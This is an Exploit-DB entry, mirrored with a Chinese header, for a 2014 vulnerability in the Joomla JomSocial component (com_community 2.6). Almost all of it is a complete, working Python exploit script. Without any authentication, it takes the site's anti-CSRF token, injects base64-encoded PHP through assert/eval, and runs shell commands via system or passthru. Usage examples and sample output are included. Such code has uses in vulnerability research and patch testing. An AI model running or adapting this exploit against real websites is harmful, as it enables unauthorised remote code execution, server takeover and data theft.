Joomla! Component com_community 2.6 – Code Execution

  • 作者: Matias Fontanini
    日期: 2014-02-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/31435/
  • #!/usr/bin/python
    #
    # Joomla! JomSocial component >= 2.6 PHP code execution exploit
    #
    # Authors:
    # - Matias Fontanini
    # - Gaston Traberg
    #
    # This exploit allows the execution of PHP code without any prior 
    # authentication on the Joomla! JomSocial component.
    #
    # Note that in order to be able to execute PHP code, both the "eval" 
    # and "assert" functions must be enabled. It is also possible to execute
    # arbitrary PHP functions, without using them. Therefore, it is possible
    # to execute shell commands using "system", "passthru", etc, as long
    # as they are enabled.
    #
    # Examples:
    #
    # Execute PHP code:
    # ./exploit.py -u http://example.com/index.php -p "echo 'Hello World!';"
    # ./exploit.py -u http://example.com/index.php -p /tmp/script_to_execute.php
    # 
    # Execute shell commands(using system()):
    # ./exploit.py -u http://example.com/index.php -s "netstat -n"
    #
    # Exploit shell commands(using a user provided function, passthru in this case)
    # ./exploit.py -u http://example.com/joomla/index.php -s "netstat -natp" -c passthru
    #
    # Exploit execution example:
    # $ python exploit.py -u http://example.com/index.php -p 'var_dump("Hello World!");'
    # [i] Retrieving cookies and anti-CSRF token... Done
    # [+] Executing PHP code...
    # string(12) "Hello World!"
    
    import urllib, urllib2, re, argparse, sys, os
    
    class Exploit:
    token_request_data = 'option=com_community&view=frontpage'
    exploit_request_data = 'option=community&no_html=1&task=azrul_ajax&func=photos,ajaxUploadAvatar&{0}=1&arg2=["_d_","Event"]&arg3=["_d_","374"]&arg4=["_d_","{1}"]'
    json_data = '{{"call":["CStringHelper","escape", "{1}","{0}"]}}'
    
    def __init__(self, url, user_agent = None, use_eval = True):
    self.url = url
    self._set_user_agent(user_agent)
    self.use_eval = use_eval
    self.token_regex = re.compile('<input type=\"hidden\" name=\"([\w\d]{32})\" value=\"1\" \/>')
    self.cookie, self.token = self._retrieve_token()
    self.result_regex = re.compile('method=\\\\"POST\\\\" enctype=\\\\"multipart\\\\/form-data\\\\"><br>(.*)<div id=\\\\"avatar-upload\\\\">', re.DOTALL)
    self.command_regex = re.compile('(.*)\\[\\["as","ajax_calls","d",""\\]', re.DOTALL)
    
    def _set_user_agent(self, user_agent):
    self.user_agent = user_agent
    
    def _make_opener(self, add_cookie = True):
    opener = urllib2.build_opener()
    if add_cookie:
    opener.addheaders.append(('Cookie', self.cookie))
    opener.addheaders.append(('Referer', self.url))
    if self.user_agent:
    opener.addheaders.append(('User-Agent', self.user_agent))
    return opener
    
    def _retrieve_token(self):
    opener = self._make_opener(False)
    sys.stdout.write('[i] Retrieving cookies and anti-CSRF token... ')
    sys.stdout.flush()
    req = opener.open(self.url, Exploit.token_request_data)
    data = req.read()
    token = self.token_regex.findall(data)
    if len(token) < 1:
    print 'Failed'
    raise Exception("Could not retrieve anti-CSRF token")
    print 'Done'
    return (req.headers['Set-Cookie'], token[0])
    
    def _do_call_function(self, function, parameter):
    parameter = parameter.replace('"', '\\"')
    json_data = Exploit.json_data.format(function, parameter)
    json_data = urllib2.quote(json_data)
    data = Exploit.exploit_request_data.format(self.token, json_data)
    opener = self._make_opener()
    req = opener.open(self.url, data)
    if function == 'assert':
    return req.read()
    elif function in ['system', 'passthru']:
    result = self.command_regex.findall(req.read())
    if len(result) == 1:
    return result[0]
    else:
    return "[+] Error executing command."
    else:
    result = self.result_regex.findall(req.read())
    if len(result) == 1:
    return result[0].replace('\\/', '/').replace('\\"', '"').replace('\\n', '\n')
    else:
    return "[+] Error executing command."
    
    def call_function(self, function, parameter):
    if self.use_eval:
    return self.eval("echo {0}('{1}')".format(function, parameter))
    else:
    return self._do_call_function(function, parameter)
    
    def disabled_functions(self):
    return self.call_function("ini_get", "disable_functions")
    
    def test_injection(self):
    result = self.eval("echo 'HELLO' . ' - ' . 'WORLD';")
    if 'HELLO - WORLD' in result:
    print "[+] Code injection using eval works"
    else:
    print "[+] Code injection doesn't work. Try executing shell commands."
    
    def eval(self, code):
    if code [-1] != ';':
    code = code + ';'
    return self._do_call_function('assert', "@exit(@eval(@base64_decode('{0}')));".format(code.encode('base64').replace('\n', '')))
    
    
    
    parser = argparse.ArgumentParser(
    description="JomSocial >= 2.6 - Code execution exploit"
    )
    parser.add_argument('-u', '--url', help='the base URL', required=True)
    parser.add_argument(
    '-p', 
    '--php-code', 
    help='the PHP code to execute. Use \'-\' to read from stdin, or provide a file path to read from')
    parser.add_argument('-s', '--shell-command', help='the shell command to execute')
    parser.add_argument('-c', '--shell-function', help='the PHP function to use when executing shell commands', default="system")
    parser.add_argument('-t', '--test', action='store_true', help='test the PHP code injection using eval', default=False)
    parser.add_argument('-n', '--no-eval', action='store_false', help='don\'t use eval when executing shell commands', default=True)
    
    args = parser.parse_args() 
    if not args.test and not args.php_code and not args.shell_command:
    print '[-] Need -p, -t or -s to do something...'
    exit(1)
    url = args.url
    try:
    if not url.startswith('http://') and not url.startswith('https://'):
    url = 'http://' + url
    exploit = Exploit(url, use_eval=args.no_eval)
    if args.test:
    exploit.test_injection()
    elif args.php_code:
    code = args.php_code
    if args.php_code == '-':
    print '[i] Enter the code to be executed:'
    code = sys.stdin.read()
    elif os.path.isfile(code):
    try:
    fd = open(code)
    code = fd.read()
    fd.close()
    except Exception:
    print "[-] Error reading the file."
    exit(1)
    print '[+] Executing PHP code...'
    print exploit.eval(code)
    elif args.shell_command:
    print exploit.call_function(args.shell_function, args.shell_command)
    except Exception as ex:
    print '[+] Error: ' + str(ex)